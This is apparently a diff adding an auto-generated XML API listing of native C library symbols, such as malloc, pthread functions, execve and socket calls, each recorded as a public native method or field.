+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="initstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_flush_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_mkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open_wmemstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_one_per_line" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprotobynumber" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ungetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_range" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_querydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feof_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getppid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigignore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fwritable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setvbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dirname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fcntl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__b64_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bindresvport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__loc_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mktemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="imaxabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timegm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setrhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="reboot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkfifo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__ctype_get_mb_cur_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execve" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vdprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fileno_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsuspend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="accept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memmove_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execvp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_ISSET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_ninit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__sF" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getlogin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="daylight" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftello64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_netof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_getoverrun" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_flushlbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="opendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="forkpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigrelse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="delete_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__getcwd_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gmtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mmap64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_makeaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stdin" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpualloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsendbreak" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chroot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mremap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearerr_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_openpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaddset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__stack_chk_guard" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpagesize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="verr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_phys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="timezone" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsnrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="newlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__readlink_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_nametoindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mallopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_rollback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pipe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="verrx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_getshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__putlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__poll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_CLR_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwrite64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcflow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseeko64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="abs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rand_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmemopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__readlinkat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__snprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="c32rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__open_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="access" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="raise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="seteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strptime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftrylockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__flbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptrace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__recvfrom_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vswprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adjtimex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprotobyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmdt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_option" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find_nth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getattr_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_foreach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="herror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
